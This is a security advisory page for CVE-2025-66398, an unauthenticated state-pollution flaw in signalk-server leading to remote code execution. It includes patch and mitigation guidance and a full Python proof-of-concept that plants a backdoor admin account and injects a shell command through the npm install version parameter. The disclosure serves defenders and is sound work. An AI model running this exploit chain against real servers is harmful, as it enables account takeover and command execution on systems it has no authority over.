CVE-2025-66398 is a critical-severity (CVSS 9.6) OS Command Injection vulnerability in signalk-server. 1 public exploit reference exists, so weaponization risk is real. A fix is available for signalk-server — see the affected versions and patch details below.
Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-66398.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2025-66398 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the 10–50% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
signalk-servernpmDescription
Summary
An unauthenticated attacker can pollute the internal state (restoreFilePath) of the server via the /skServer/validateBackup endpoint. This allows the attacker to hijack the administrator's "Restore" functionality to overwrite critical server configuration files (e.g., security.json, package.json), leading to account takeover and Remote Code Execution (RCE).
Details
The vulnerability is caused by the use of a module-level global variable restoreFilePath in src/serverroutes.ts, which is shared across all requests.
Vulnerable Code Analysis:
- Global State:
restoreFilePathis defined at the top level of the module.// src/serverroutes.ts let restoreFilePath: string - Unauthenticated State Pollution: The
/skServer/validateBackupendpoint updates this variable. Crucially, this endpoint lacks authentication middleware, allowing any user to access it.app.post(`${SERVERROUTESPREFIX}/validateBackup`, (req, res) => { // ... handles file upload ... restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path }) - Restore Hijacking: The
/skServer/restoreendpoint uses the pollutedrestoreFilePathto perform the restoration.app.post(`${SERVERROUTESPREFIX}/restore`, (req, res) => { // ... const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path // ... })
Exploit Chain:
- Pollution: Attacker uploads a malicious zip file to
/validateBackup. The server saves it and updatesrestoreFilePathto point to this malicious file. - Hijacking: When
/restoreis triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker's malicious files. - Backdoor: The attacker overwrites
security.jsonto add a new administrator account. - RCE: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (
/skServer/appstore/install/...) to execute arbitrary system commands (e.g.,npm installinjection).
PoC
Here is a complete Python script to reproduce the full exploit chain.
import requests
import zipfile
import io
import json
import time
# Configuration
TARGET_URL = "http://localhost:3000"
BACKDOOR_USER = "hacker"
BACKDOOR_PASS = "hacked1234"
def step1_plant_backdoor():
print("[*] Step 1: Planting Backdoor via State Pollution...")
# 1. Create malicious zip with security.json
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as z:
# Add backdoor admin user
security_config = {
"users": [{
"username": BACKDOOR_USER,
"password": BACKDOOR_PASS,
"permissions": "admin"
}]
}
z.writestr("security.json", json.dumps(security_config))
# Enable security to make the backdoor effective
z.writestr("settings.json", json.dumps({"security": {"strategy": "./tokensecurity"}}))
zip_buffer.seek(0)
# 2. Pollute State (Unauthenticated)
print(" [+] Sending malicious backup to /validateBackup...")
res = requests.post(f"{TARGET_URL}/skServer/validateBackup",
files={'file': ('malicious.zip', zip_buffer, 'application/zip')})
if res.status_code != 200:
print(" [-] Failed to pollute state.")
return False
# 3. Trigger Restore (Hijacking)
print(" [+] Triggering restore to overwrite server config...")
# Note: In a real attack, if /restore is protected, attacker waits for admin to use it.
# Here we assume we can trigger it or security is currently off.
res = requests.post(f"{TARGET_URL}/skServer/restore", json={"security.json": True, "settings.json": True})
if res.status_code in [200, 202]:
print(" [+] Restore triggered successfully. Backdoor planted.")
print(" [!] PLEASE RESTART THE SERVER to load the new configuration.")
return True
else:
print(f" [-] Restore failed: {res.status_code} {res.text}")
return False
def step2_execute_rce():
print("\n[*] Step 2: Executing RCE as Backdoor User...")
# 1. Login
session = requests.Session()
login_payload = {"username": BACKDOOR_USER, "password": BACKDOOR_PASS}
res = session.post(f"{TARGET_URL}/signalk/v1/auth/login", json=login_payload)
if res.status_code != 200:
print(" [-] Login failed. Did you restart the server?")
return
token = res.json()['token']
print(" [+] Login successful. Authenticated as Admin.")
# 2. RCE Payload (Windows Example)
# Injecting command into version parameter of npm install
# Command: echo RCE_SUCCESS > rce_proof.txt
cmd_payload = "1.0.0 & echo RCE_SUCCESS > rce_proof.txt &"
# We need a valid package name to bypass existence check
package_name = "@signalk/freeboard-sk"
print(f" [+] Sending RCE payload: {cmd_payload}")
headers = {'Authorization': f'Bearer {token}'}
try:
session.post(f"{TARGET_URL}/skServer/appstore/install/{package_name}/{cmd_payload}",
headers=headers, timeout=5)
except:
pass # Timeout is expected as the command might hang or take time
print(" [+] Payload sent. Check for 'rce_proof.txt' in server root.")
if __name__ == "__main__":
# Run Step 1, then restart server manually, then Run Step 2
# step1_plant_backdoor()
step2_execute_rce()
Impact
Remote Code Execution (RCE), Account Takeover, Denial of Service.
Verified: RCE is demonstrated by creating a file named rce_proof.txt containing the text "RCE_SUCCESS" on the server filesystem using the exploit chain.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | signalk-server | all versions | 2.19.0npm install signalk-server@2.19.0 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for signalk-server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update signalk-server to 2.19.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-66398 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-66398 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-66398. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-66398 in your dependencies?
O3 Security finds CVE-2025-66398 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.